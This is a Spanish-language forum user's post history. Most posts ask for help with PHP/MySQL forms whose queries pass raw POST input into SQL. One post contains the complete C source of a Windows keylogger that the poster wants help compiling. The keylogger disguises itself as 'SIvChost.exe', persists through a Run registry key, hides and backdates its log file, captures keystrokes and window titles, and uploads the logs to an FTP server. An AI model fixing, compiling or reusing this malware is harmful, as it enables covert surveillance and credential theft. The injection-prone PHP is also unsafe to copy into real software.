si funciono, el problema ahora es porque no funciona con los demas campos?
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
#82
Dudas y pedidos generales / Re:ayuda no me guarda los datos
Julio 30, 2014, 11:44:38 AM
no sirve coloco como dices
Código: text
mysql_query("INSERT INTO servicio(Vendedor,Semana,QuienPago,Proveedor,Fecha,Control,Adelanto,Cotizacion,Año,Tipo,Cliente,Descripcion,Factura,MontoTotal,MontoTotal2,Factura2)
VALUES (('$Vendedor'),('$Semana'),('$QuienPago'),('$Proveedor')('$Fecha'),('$Control'),('$Adelanto'),('$Cotizacion'),('$Año'),('$Tipo'),('$Cliente'),('$Descripcion'),('$Factura'),('$MontoTotal'),('$MontoTotal2'),('$Factura2');");
#83
Dudas y pedidos generales / Re:ayuda no me guarda los datos
Julio 30, 2014, 11:21:51 AM
no es la base de datos porque si relleno los campos desde el phpmyadmin quedan grabados perfectamente y los muestra el index.php pero cuando voy agregar nuevos datos desde el index.php no quedan grabados
#84
Dudas y pedidos generales / Re:ayuda no me guarda los datos
Julio 30, 2014, 11:15:26 AM
aqui esta la base:
Código: text
id int(11) No auto_increment Navegar los valores distintivos Cambiar Eliminar Primaria Único Índice Texto completo
Vendedor varchar(20) latin1_swedish_ci No Navegar los valores distintivos Cambiar Eliminar Primaria Único Índice Texto completo
Semana varchar(20) latin1_swedish_ci No Navegar los valores distintivos Cambiar Eliminar Primaria Único Índice Texto completo
QuienPago varchar(100) latin1_swedish_ci No Navegar los valores distintivos Cambiar Eliminar Primaria Único Índice Texto completo
Proveedor varchar(100) latin1_swedish_ci No Navegar los valores distintivos Cambiar Eliminar Primaria Único Índice Texto completo
Fecha mediumtext latin1_swedish_ci No Navegar los valores distintivos Cambiar Eliminar Primaria Único Índice Texto completo
Control mediumtext latin1_swedish_ci No Navegar los valores distintivos Cambiar Eliminar Primaria Único Índice Texto completo
Adelanto mediumtext latin1_swedish_ci No Navegar los valores distintivos Cambiar Eliminar Primaria Único Índice Texto completo
Cotizacion mediumtext latin1_swedish_ci No Navegar los valores distintivos Cambiar Eliminar Primaria Único Índice Texto completo
Año mediumtext latin1_swedish_ci No Navegar los valores distintivos Cambiar Eliminar Primaria Único Índice Texto completo
Tipo mediumtext latin1_swedish_ci No Navegar los valores distintivos Cambiar Eliminar Primaria Único Índice Texto completo
Cliente mediumtext latin1_swedish_ci No Navegar los valores distintivos Cambiar Eliminar Primaria Único Índice Texto completo
Descripcion mediumtext latin1_swedish_ci No Navegar los valores distintivos Cambiar Eliminar Primaria Único Índice Texto completo
Factura mediumtext latin1_swedish_ci No Navegar los valores distintivos Cambiar Eliminar Primaria Único Índice Texto completo
MontoTotal mediumtext latin1_swedish_ci No Navegar los valores distintivos Cambiar Eliminar Primaria Único Índice Texto completo
MontoTotal2 mediumtext latin1_swedish_ci No Navegar los valores distintivos Cambiar Eliminar Primaria Único Índice Texto completo
Factura2 mediumtext latin1_swedish_ci No
#85
Dudas y pedidos generales / Re:ayuda no me guarda los datos
Julio 30, 2014, 11:04:43 AM
nada no sirve, el problema radica es en index.php recuerda ya que el view.php y el del.php son para editar y borrar los campos "una vez esten agregados" y el que permite agregar los campos es el index osea el problema esta ahi
#86
Dudas y pedidos generales / Re:ayuda no me guarda los datos
Julio 30, 2014, 10:53:36 AM
si pongo como dices '$Factura2'); me marca un error si pongo las comillas que dijiste de servicio todo sigue igual
#87
Dudas y pedidos generales / Re:ayuda no me guarda los datos
Julio 30, 2014, 10:43:50 AM
no sirve cuando le doy al boton agregar me lleva al TOP de la pagina y no hace nada no graba nada, el codigo del archivo db es:
Código: text
<?php
$conn = mysql_connect('localhost', 'root', '123456');
if (!$conn)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("inv", $conn);
?>
#88
Dudas y pedidos generales / Re:ayuda no me guarda los datos
Julio 30, 2014, 08:23:26 AM
ya lo cambie como dijiste pero sigue sin funcionarme...
#89
Dudas y pedidos generales / [SOLUCIONADO] Ayuda no me guarda los datos
Julio 29, 2014, 09:40:10 PM
hola amigos por favor ayudenme no me guarda los datos, muchas gracias de antemano, aqui va mi codigo:
index.php
Código: php
view.php
Código: php
index.php
<!DOCTYPE html>
<div id="content" class="style3" style="height: 2100px; width: 602px;">
<form method="post" style="height: 442px; width: 610px">
<span class="style4">
<img alt="" class="style5" height="135" src="img/login_logo.png" style="float: left" width="156" /></span><strong> <br>
<br><br><br><br><br><br> AGREGAR GASTO<br> </strong>
<br>
<table class="style6" style="height: 253; width: 512">
<tr>
<td class="style8">Vendedor</td>
<td><input type="text" name="Vendedor" /></td>
</tr>
<tr>
<td class="style8">Semana
</td>
<td><input type="text" name="Semana" /></td>
</tr>
<tr>
<td class="style8">Quien Pago</td>
<td><input type="text" name="QuienPago" /></td>
</tr>
<tr>
<td style="height: 46px" class="style8">Proveedor</td>
<td style="height: 46px"><input type="text" name="Proveedor" /></td>
</tr>
<tr>
<td style="height: 65px" class="style8">Fecha</td>
<td style="height: 65px" class="style7">
<input type="text" name="Fecha" /></td>
</tr>
<tr>
<td style="height: 65px" class="style8">Nº
de Control</td>
<td style="height: 65px" class="style7">
<input type="text" name="Control" /></td>
</tr>
<tr>
<td style="height: 65px" class="style8">Adelanto en la Semana</td>
<td style="height: 65px" class="style7">
<input type="text" name="Adelanto" /></td>
</tr>
<tr>
<td style="height: 65px" class="style8">Cotización
</td>
<td style="height: 65px" class="style7">
<input type="text" name="Cotizacion" /></td>
</tr>
<tr>
<td style="height: 65px" class="style8">Año </td>
<td style="height: 65px" class="style7">
<input type="text" name="Año" /></td>
</tr>
<tr>
<td style="height: 65px" class="style8">Tipo </td>
<td style="height: 65px" class="style7">
<input type="text" name="Tipo" /></td>
</tr>
<tr>
<td style="height: 65px" class="style8">Cliente </td>
<td style="height: 65px" class="style7">
<input type="text" name="Cliente" /></td>
</tr>
<tr>
<td style="height: 65px" class="style8">Descripción </td>
<td style="height: 65px" class="style7">
<input type="text" name="Descripcion" /></td>
</tr>
<tr>
<td style="height: 65px" class="style8">Nº Factura</td>
<td style="height: 65px" class="style7">
<input type="text" name="Factura" /></td>
</tr>
<tr>
<td style="height: 65px" class="style8">Monto Total</td>
<td style="height: 65px" class="style7">
<input type="text" name="MontoTotal" /></td>
</tr>
<tr>
<td style="height: 65px" class="style8">Monto Total a Pagar</td>
<td style="height: 65px" class="style7">
<input type="text" name="MontoTotal2" /></td>
</tr>
<tr>
<td style="height: 65px" class="style8">Número de Factura en Venta</td>
<td style="height: 65px" class="style7">
<input type="text" name="Factura2" /></td>
</tr>
<tr>
<td style="height: 65px"> </td>
<td style="height: 65px" class="style7"><a href="index1.php">
<input name="Button1" style="width: 147px; height: 34px" type="button" value="Regresar" class="boton"></a>
<input type="submit" name="submit" value="Agregar" style="width: 147px; height: 34px" class="boton" /></td>
</tr>
</table>
<table border="1" style="height: 31px;width: 501px;" class="style7" align="center">
<?php
if (isset($_POST['submit']))
{
include 'db.php';
$Vendedor=$_POST['Vendedor'] ;
$Semana= $_POST['Semana'] ;
$QuienPago=$_POST['QuienPago'] ;
$Proveedor=$_POST['Proveedor'] ;
$Fecha=$_POST['Fecha'] ;
$Control=$_POST['Control'] ;
$Adelanto=$_POST['Adelanto'] ;
$Cotizacion=$_POST['Cotizacion'] ;
$Año=$_POST['Año'] ;
$Tipo=$_POST['Tipo'] ;
$Cliente=$_POST['Cliente'] ;
$Descripcion=$_POST['Descripcion'] ;
$Factura=$_POST['Factura'] ;
$MontoTotal=$_POST['MontoTotal'] ;
$MontoTotal2=$_POST['MontoTotal2'] ;
$Factura2=$_POST['Factura2'] ;
mysql_query("ALTER TABLE servicio AUTO_INCREMENT=1");
mysql_query("INSERT INTO `servicio`(Vendedor,Semana,QuienPago,Proveedor,Fecha,Control,Adelanto,Cotizacion,Año,Tipo,Cliente,Descripcion,Factura,MontoTotal,MontoTotal2,Factura2)
VALUES ('$Vendedor','$Semana','$QuienPago','$Proveedor''$Fecha','$Control','$Adelanto','$Cotizacion','$Año','$Tipo','$Cliente','$Descripcion','$Factura','$MontoTotal','$MontoTotal2','$Factura2')");
}
?>
<?php
include("db.php");
$result=mysql_query("SELECT * FROM servicio");
while($test = mysql_fetch_array($result))
{
$id = $test['id'];
echo "<tr align='center'>";
echo"<td><font color='black'>" .$test['id']."</font></td>";
echo"<td><font color='black'>" .$test['Vendedor']."</font></td>";
echo"<td><font color='black'>". $test['Semana']. "</font></td>";
echo"<td><font color='black'>". $test['QuienPago']. "</font></td>";
echo"<td><font color='black'>". $test['Proveedor']. "</font></td>";
echo"<td><font color='black'>" .$test['Fecha']."</font></td>";
echo"<td><font color='black'>" .$test['Control']."</font></td>";
echo"<td><font color='black'>". $test['Adelanto']. "</font></td>";
echo"<td><font color='black'>". $test['Cotizacion']. "</font></td>";
echo"<td><font color='black'>". $test['Año']. "</font></td>";
echo"<td><font color='black'>" .$test['Tipo']."</font></td>";
echo"<td><font color='black'>" .$test['Cliente']."</font></td>";
echo"<td><font color='black'>". $test['Descripcion']. "</font></td>";
echo"<td><font color='black'>". $test['Factura']. "</font></td>";
echo"<td><font color='black'>". $test['MontoTotal']. "</font></td>";
echo"<td><font color='black'>". $test['MontoTotal2']. "</font></td>";
echo"<td><font color='black'>". $test['Factura2']. "</font></td>";
echo"<td> <a href ='view.php?id=$id'><strong>Editar</strong></a>";
echo"<td> <a href ='del.php?id=$id'><strong>Eliminar<strong></a>";
echo "</tr>";
}
mysql_close($conn);
?>
</table>
view.php
<?php
require("db.php");
$id =$_REQUEST['id'];
$result = mysql_query("SELECT * FROM servicio WHERE id = '$id'");
$test = mysql_fetch_array($result);
if (!$result)
{
die("Error: No existe la data");
}
$Vendedor=$test['Vendedor'] ;
$Semana= $test['Semana'] ;
$QuienPago=$test['QuienPago'] ;
$Proveedor=$test['Proveedor'] ;
$Fecha=$test['Fecha'] ;
$Control= $test['Control'] ;
$Adelanto=$test['Adelanto'] ;
$Cotizacion=$test['Cotizacion'] ;
$Año=$test['Año'] ;
$Tipo= $test['Tipo'] ;
$Cliente=$test['Cliente'] ;
$Descripcion=$test['Descripcion'] ;
$Factura=$test['Factura'] ;
$MontoTotal= $test['MontoTotal'] ;
$MontoTotal2=$test['MontoTotal2'] ;
$Factura2=$test['Factura2'] ;
if(isset($_POST['save']))
{
$Vendedor_save=$_POST['Vendedor'] ;
$Semana_save= $_POST['Semana'] ;
$QuienPago_save=$_POST['QuienPago'] ;
$Proveedor_save=$_POST['Proveedor'] ;
$Fecha_save=$_POST['Fecha'] ;
$Control_save=$_POST['Control'] ;
$Adelanto_save=$_POST['Adelanto'] ;
$Cotizacion_save=$_POST['Cotizacion'] ;
$Año_save=$_POST['Año'] ;
$Tipo_save=$_POST['Tipo'] ;
$Cliente_save=$_POST['Cliente'] ;
$Descripcion_save=$_POST['Descripcion'] ;
$Factura_save=$_POST['Factura'] ;
$MontoTotal_save=$_POST['MontoTotal'] ;
$MontoTotal2_save=$_POST['MontoTotal2'] ;
$Factura2_save=$_POST['Factura2'] ;
mysql_query("UPDATE servicio SET Vendedor ='$Vendedor_save', Semana ='$Semana_save',
QuienPago ='$QuienPago_save',Proveedor ='$Proveedor_save',Fecha ='$Fecha_save,Control ='$Control_save,Adelanto ='$Adelanto_save,Cotizacion ='$Cotizacion_save,Año ='$Año_save,Tipo ='$Tipo_save,Cliente ='$Cliente_save,Descripcion ='$Descripcion_save,Factura ='$Factura_save,MontoTotal ='$MontoTotal_save,MontoTotal2 ='$MontoTotal2_save,Factura2 ='$Factura2_save WHERE id = '$id'")
or die(mysql_error());
echo "Guardado!";
}
mysql_close($conn);
?>
<!DOCTYPE html>
<div id="content" class="style3" style="height: 420px; width: 602px;">
<form method="post" style="height: 442px; width: 610px">
<span class="style4">
<img alt="" class="style5" height="110" src="img/logo2.jpg" style="float: left" width="605" /></span><strong> <br>
<br><br> </strong><table>
<tr>
<td class="style6">Vendedor</td>
<td><input type="text" name="Vendedor" value="<?php echo $Vendedor ?>"/></td>
</tr>
<tr>
<td class="style6">Semana
</td>
<td><input onkeypress="return justNumbers(event);" type="text" name="Semana" value="<?php echo $Semana?>"/></td>
</tr>
<tr>
<td class="style6">Quien Pago</td>
<td><input type="text" name="QuienPago" value="<?php echo $QuienPago ?>"/></td>
</tr>
<tr>
<td class="style6">Proveedor</td>
<td><input type="text" name="Proveedor" value="<?php echo $Proveedor ?>"/></td>
</tr>
<tr>
<td style="height: 30px" class="style6">Fecha</td>
<td style="height: 30px">
<input type="text" name="Fecha" value="<?php echo $Fecha ?>"/></td>
</tr>
<tr>
<td style="height: 30px" class="style6">Nº de Control</td>
<td style="height: 30px">
<input type="text" name="Control" value="<?php echo $Control ?>"/></td>
</tr>
<tr>
<td style="height: 30px" class="style6">Adelanto en la Semana</td>
<td style="height: 30px">
<input type="text" name="Adelanto" value="<?php echo $Adelanto ?>"/></td>
</tr>
<tr>
<td style="height: 30px" class="style6">Cotización
</td>
<td style="height: 30px">
<input type="text" name="Cotizacion" value="<?php echo $Cotizacion ?>"/></td>
</tr>
<tr>
<td style="height: 30px" class="style6">Año </td>
<td style="height: 30px">
<input type="text" name="Año" value="<?php echo $Año ?>"/></td>
</tr>
<tr>
<td style="height: 30px" class="style6">Tipo </td>
<td style="height: 30px">
<input type="text" name="Tipo" value="<?php echo $Tipo ?>"/></td>
</tr>
<tr>
<td style="height: 30px" class="style6">Cliente </td>
<td style="height: 30px">
<input type="text" name="Cliente" value="<?php echo $Cliente ?>"/></td>
</tr>
<tr>
<td style="height: 30px" class="style6">Descripción </td>
<td style="height: 30px">
<input type="text" name="Descripcion" value="<?php echo $Descripcion ?>"/></td>
</tr>
<tr>
<td style="height: 30px" class="style6">Nº Factura</td>
<td style="height: 30px">
<input type="text" name="Factura" value="<?php echo $Factura ?>"/></td>
</tr>
<tr>
<td style="height: 30px" class="style6">Monto Total</td>
<td style="height: 30px">
<input type="text" name="MontoTotal" value="<?php echo $MontoTotal ?>"/></td>
</tr>
<tr>
<td style="height: 30px" class="style6">Monto Total a Pagar</td>
<td style="height: 30px">
<input type="text" name="MontoTotal2" value="<?php echo $MontoTotal2 ?>"/></td>
</tr>
<tr>
<td style="height: 30px" class="style6">Número de Factura en Venta</td>
<td style="height: 30px">
<input type="text" name="Factura2" value="<?php echo $Factura2 ?>"/></td>
</tr>
<tr>
<td style="height: 30px" class="style6"> </td>
<td style="height: 30px">
<input type="button" onclick="window.location='http://localhost/sistema/index.php';" value="Regresar" /
style="width: 119px; height: 33px" class="boton"/><input type="submit" name="save" value="Guardar" style="height: 33px; width: 119px;" class="boton" /></td>
</tr>
</table>
<br>
#90
Dudas y pedidos generales / [SOLUCIONADO] Ayuda como poner numeros
Enero 25, 2014, 09:03:56 AM
hola amigos tengo una duda estoy haciendo un sistema de factura en php, tengo una entrada de texto osea un INPUT que necesito que tenga siempre los numeros 000001 y cuando yo presione el boton para generar la factura en PDF y quiera generar otra factura me salga 000002 y no se pueda cambiar los valores.
gracias de antemano.
gracias de antemano.
#91
Dudas y pedidos generales / [SOLUCIONADO] Ayuda compilar keylogger
Enero 07, 2014, 03:40:34 PM
hola amigos tengo este codigo de un keylogger lo saque de una revista digital de seguridad informatica de hace un tiempo, pero no puedo compilarlo me marca "parse error" y otros errores, aqui el codigo:
Código: C
deberia ser cliente y servidor ? pero donde empieza el codigo del cliente y el del servidor? o es todo en uno?
gracias de antemano.
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock2.h>
#include <wininet.h>
#include <time.h>
long filesize(FILE *stream);
int ftpst();
int file_exist(char *filename);
void Dey();
void fecha(char *endo);
void config();
char servidor[31], usuario[31], clave[17], Svl[21], pa[50];
char name[100],pro[16],pat[250],yotas[250];
HWND aquien;
FILE *enf;
char nombre[200],txt[10]=".txt";
char *nom;
int WINAPI WinMain (HINSTANCE hThisInstance,HINSTANCE
hPrevInstance,LPSTR lpszArgument,int nFunsterStil)
{
DWORD tamanolen=100;
char a[16],b[16],padre[100],laveria[250];
int ot;
time_t t;
HKEY hreg;
char *ubica,ubicac[180],caves[253],host[200],archi[250];
struct hostent *ha;
WSADATA wsas;
GetModuleFileName(hThisInstance,yotas,250);
config();
ubica=ubicac;
GetSystemDirectory(ubica,180);
sprintf(pat,"%s\\",ubica);
strcpy(padre,pat);
sprintf(ubica,"%s\\%s",ubica,Svl);
GetComputerName(name,&tamanolen);
_strdate(a);
_strtime(b);
nom=nombre;
strcpy(nom,name);
sprintf(nom,"%s%c%c%c%c",nom,,a[0],a[1],a[3],a[4]);
sprintf(laveria,"%s%s",pat,nom);
strncat(nom,b,2);
strcat(pat,nom);
strcat(nom,txt);
for(ot=0;ot<=24;ot++)
{
if(ot<10)
sprintf(caves,"%s0%d",laveria,ot);
else
sprintf(caves,"%s%d",laveria,ot);
if(file_exist(caves)==1)
{
if(remove(caves)!=0)
exit(0);
}
}
if(strcmpi(yotas,ubica)!=0)
{
if(file_exist(ubica)==0)
{
CopyFile(yotas,ubica,0);
fecha(ubica);
SetCurrentDirectory(padre);
WinExec(ubica,0);
}
exit(0);
}
RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentV
ersion\\Run",0,KEY_ALL_ACCESS,&hreg);
RegSetValueEx(hreg,pro,0,REG_SZ,ubica,strlen(ubica));
RegCloseKey(hreg);
if(!(enf=fopen(pat,"a")))
{
strcpy(pat,"C:\\Windows\\System32\\Qetgeqec");
if(!(enf=fopen(pat,"a")))
exit(0);
}
WSAStartup(MAKEWORD(2,0),&wsas);
gethostname(host,255);
ha=gethostbyname(host);
WSACleanup();
sprintf(archi,"\n| Ejecutandose en Host: (%s) con IP:
(%s)",host,inet_ntoa(*((struct in_addr *)ha->h_addr)));
if(strlen(archi)<70)
{
for(ot=strlen(archi);ot<69;ot++)
{
archi[ot]=' ';
archi[ot+1]='\0';
}
strcat(archi," |");
}
archi[strlen(archi)]='\0';
ot=GetKBCodePage();
fprintf(enf,"\n+--------------------------------------------------
------------------+");
fprintf(enf,"\n| DKey 1.2.1 - se reserva derechos de autor |");
fprintf(enf,"\n| Proceso Iniciado %s %s
|",a,b);
fprintf(enf,archi);
fprintf(enf,"\n| Codigo para modificacion de users de consultorio
informatico |");
if(ot!=850)
{
fprintf(enf,"\nLa configuracion del teclado no es soportada");
fprintf(enf,"\npor DKey 1.2.1");
}
fecha(pat);
Dey();
}
void Dey()
{
time_t ltime;
int teta=0;
int anterior=1;
int blo=0;
char Taquien[255];
char *tetas;
int D;
int tama=1024;
char alfabeta[] = "abcdefghijklmnopqrstuvwxyz";
char alfabetanum[] = "0123456789";
fflush(stdin);
fprintf(enf,"\n+---------------------------------------------------
-----------------+");
tama=filesize(enf);
fecha(pat);
aquien=GetForegroundWindow();
tetas=calloc(32768,sizeof(char));
while(1<2)
{
if(GetForegroundWindow()!=aquien)
{
if(strlen(Taquien)>0 && strlen(tetas)>0)
{
time(<ime);
ctime(<ime);
fprintf(enf,"\n\nFecha: %s",ctime(<ime));
fprintf(enf,"[ Ventana: %s ]",Taquien);
fprintf(enf,"\n %s",tetas);
if(tama<filesize(enf))
{
tama=filesize(enf)+1024;
fclose(enf);
fecha(pat);
ftpst();
if(!(enf=fopen(pat,"a")))
{
strcpy(pat,"C:\\Windows\\System32\\Qetgeqec");
if(!(enf=fopen(pat,"a")))
exit(0);
}
}
fecha(pat);
free(tetas);
tetas=calloc(32768,sizeof(char));
}
aquien=GetForegroundWindow();
}
else
GetWindowText(aquien,Taquien,255);
for(teta=4;teta<256;teta++)
{
if(GetAsyncKeyState(teta)==-32767)
{
if(teta>=65 && teta<91)
{
for(D=65;D<91;D++)
{
if(teta==D)
{
if(blo==1)
strupr(alfabeta);
else if(blo==0)
strlwr(alfabeta);
tetas[strlen(tetas)]=alfabeta[teta-65];
tetas[strlen(tetas)]='\0';
anterior=0;
}
}
}
else if(teta>=96 && teta<106)
{
for(D=96;D<106;D++)
{
if(teta==D)
{
tetas[strlen(tetas)]=alfabetanum[teta-96];
tetas[strlen(tetas)]='\0';
anterior=0;
}
}
}
switch(teta)
{
case 8:
if (anterior==0)
tetas[strlen(tetas)-1]='\0';
else if(anterior==2)
tetas[strlen(tetas)-3]='\0';
else if(anterior==1)
strcat(tetas,"[Retro]");
break;
case 9:
strcat(tetas,"[Tab]");
anterior=1;
break;
case 13:
strcat(tetas,"[Enter]");
if (anterior==0)
strcat(tetas,"\n");
else if(anterior==2)
strcat(tetas,"\n");
anterior=1;
break;
case 16:
strcat(tetas,"[Shift]");
anterior=1;
break;
case 17:
strcat(tetas,"[Ctrl]");
anterior=1;
break;
case 18:
strcat(tetas,"[Alt]");
anterior=1;
break;
case 20:
strcat(tetas,"[Bloq]");
if(blo==1)
{
blo=0;
goto fin;
}
else if(blo==0)
{
blo=1;
anterior=1;
}
fin:
anterior=1;
break;
case 27:
strcat(tetas,"[Escape]");
anterior=1;
break;
case 32:
strcat(tetas," ");
anterior=0;
break;
case 33:
strcat(tetas,"[RePag]");
anterior=1;
break;
case 34:
strcat(tetas,"[AvPag]");
anterior=1;
break;
case 35:
strcat(tetas,"[Fin]");
anterior=1;
break;
case 36:
strcat(tetas,"[Inicio]");
anterior=1;
break;
case 37:
strcat(tetas,"[Izquierda]");
anterior=1;
break;
case 38:
strcat(tetas,"[Arriba]");
anterior=1;
break;
case 39:
strcat(tetas,"[Derecha]");
anterior=1;
break;
case 40:
strcat(tetas,"[Abajo]");
anterior=1;
break;
case 44:
strcat(tetas,"[ImprPant]");
anterior=1;
break;
case 45:
strcat(tetas,"[Insert]");
anterior=1;
break;
case 46:
strcat(tetas,"[Supr]");
anterior=1;
break;
case 48:
tetas[strlen(tetas)]='0';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 49:
tetas[strlen(tetas)]='1';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 50:
tetas[strlen(tetas)]='2';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 51:
tetas[strlen(tetas)]='3';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 52:
tetas[strlen(tetas)]='4';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 53:
tetas[strlen(tetas)]='5';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 54:
tetas[strlen(tetas)]='6';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 55:
tetas[strlen(tetas)]='7';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 56:
tetas[strlen(tetas)]='8';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 57:
tetas[strlen(tetas)]='9';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 91:
strcat(tetas,"[Win]");
anterior=1;
break;
case 93:
strcat(tetas,"[Propie]");
anterior=1;
break;
case 106:
tetas[strlen(tetas)]='*';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 107:
tetas[strlen(tetas)]='+';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 109:
tetas[strlen(tetas)]='-';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 110:
tetas[strlen(tetas)]='.';
tetas[strlen(tetas)]='\0';
anterior=0;
break;;
case 111:
tetas[strlen(tetas)]='/';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 112:
strcat(tetas,"[F1]");
anterior=1;
break;
case 113:
strcat(tetas,"[F2]");
anterior=1;
break;
case 114:
strcat(tetas,"[F3]");
anterior=1;
break;
case 115:
strcat(tetas,"[F4]");
anterior=1;
break;
case 116:
strcat(tetas,"[F5]");
anterior=1;
break;
case 117:
strcat(tetas,"[F6]");
anterior=1;
break;
case 118:
strcat(tetas,"[F7]");
anterior=1;
break;
case 119:
strcat(tetas,"[F8]");
anterior=1;
break;
case 120:
strcat(tetas,"[F9]");
anterior=1;
break;
case 121:
strcat(tetas,"[F10]");
anterior=1;
break;
case 122:
strcat(tetas,"[F11]");
anterior=1;
break;
case 123:
strcat(tetas,"[F12]");
anterior=1;
break;
case 144:
strcat(tetas,"[BloqNum]");
anterior=1;
break;
case 145:
strcat(tetas,"[BloqDespl]");
anterior=1;
break;
case 186:
strcat(tetas,"[´]");
anterior=2;
break;
case 187:
tetas[strlen(tetas)]='+';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 188:
tetas[strlen(tetas)]=',';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 189:
tetas[strlen(tetas)]='-';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 190:
tetas[strlen(tetas)]='.';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 191:
tetas[strlen(tetas)]='ç';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 192:
if(blo==1)
{
strcat(tetas,"Ñ");
}
else if(blo==0)
{
strcat(tetas,"ñ");
}
anterior=0;
break;
case 219:
strcat(tetas,"[']");
anterior=2;
break;
case 220:
tetas[strlen(tetas)]='\\';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 221:
tetas[strlen(tetas)]='¡';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
case 222:
strcat(tetas,"[");
anterior=0;
break;
case 226:
tetas[strlen(tetas)]='<';
tetas[strlen(tetas)]='\0';
anterior=0;
break;
};
}
}
}
}
int file_exist(char *filename)
{
return (access(filename, 0) == 0);
}
long filesize(FILE *stream)
{
long curpos, length;
curpos = ftell(stream);
fseek(stream, 0L, SEEK_END);
length = ftell(stream);
fseek(stream, curpos, SEEK_SET);
return length;
}
int ftpst()
{
HINTERNET con,connecta,archivo;
con=InternetOpen("Drox Team",INTERNET_SCHEME_FTP,NULL,NULL,0);
if(con!=NULL)
{
connecta=InternetConnect(con,servidor,21,usuario,clave,INTERNET_SERVIC
E_FTP,INTERNET_FLAG_PASSIVE,0);
if(connecta!=NULL)
{
archivo=FtpOpenFile(connecta,nom,GENERIC_WRITE,FTP_TRANSFER_TYPE_ASCII
,0);
InternetCloseHandle(archivo);
FtpPutFile(connecta,pat,nom,FTP_TRANSFER_TYPE_ASCII,0);
InternetCloseHandle(connecta);
}
InternetCloseHandle(con);
}
return 0;
}
void fecha(char *endo)
{
FILETIME ft;
SYSTEMTIME st;
BOOL f;
HANDLE hFile;
hFile=CreateFile(endo,GENERIC_READ |
GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
st.wDay=1;
st.wDayOfWeek=0;
st.wHour=5;
st.wMilliseconds=0;
st.wMinute=0;
st.wMonth=1;
st.wSecond=0;
st.wYear=2000;
SystemTimeToFileTime(&st, &ft);
f=SetFileTime(hFile, &ft, &ft, &ft);
SetFileAttributes(endo,2|4);
CloseHandle(hFile);
return;
}
void config() /* Modulo alterado */
{
strcpy(servidor,"Servidor FTP");
strcpy(usuario,"Nombre de usuario");
strcpy(clave,"123456 :P");
strcpy(Svl,"SIvChost.exe");
strcpy(pro,"SIvChost");
return;
}
deberia ser cliente y servidor ? pero donde empieza el codigo del cliente y el del servidor? o es todo en uno?
gracias de antemano.
#92
Dudas y pedidos generales / Re:ayuda con auditoria php
Diciembre 26, 2013, 01:57:28 PM
gracias amigo funciono pero no se guarda el usuario, yo tengo otra base de datos llamada usuarios y es donde esta el campo $usuario
entonces tendria que unir la bd con la de auditoria?
y la hora y la fecha siempre me salen mal
le he puesto tambie este codigo y sale mal siempre sale 0000-00-00 y la hora 00:00:00
date_default_timezone_set('America/Mexico_City');
como lo soluciono?
entonces tendria que unir la bd con la de auditoria?
y la hora y la fecha siempre me salen mal
le he puesto tambie este codigo y sale mal siempre sale 0000-00-00 y la hora 00:00:00
date_default_timezone_set('America/Mexico_City');
como lo soluciono?
#93
Dudas y pedidos generales / [SOLUCIONADO] Ayuda con auditoria php
Diciembre 26, 2013, 11:01:43 AM
hola amigos he creado una base de datos llamada "auditoria" con una tabla llamada "auditoria" que tiene los sig campos:
usuario,ip,fecha,hora,accion.
como haria si quiero hacer que guarde lo que cada usuario hace en la pagina?
me marca error mi codigo
aqui les pongo mi codigo:
Código: php
favor corregirlo
gracias de antemano.
usuario,ip,fecha,hora,accion.
como haria si quiero hacer que guarde lo que cada usuario hace en la pagina?
me marca error mi codigo
aqui les pongo mi codigo:
function registrar_log('"$usuario,'".$_SERVER['REMOTE_ADDR'].",'".date(Y:m:d)."','".date(H:i)."',$accion='se borro un item'); {
include("bd.php");
if (mysqli_query($link,"INSERT INTO auditoria (usuario,ip,fecha,hora,accion) VALUES ('$usuario','$ip','$date','$time','$accion')")) {
return true;
} else {
return false;
}
favor corregirlo
gracias de antemano.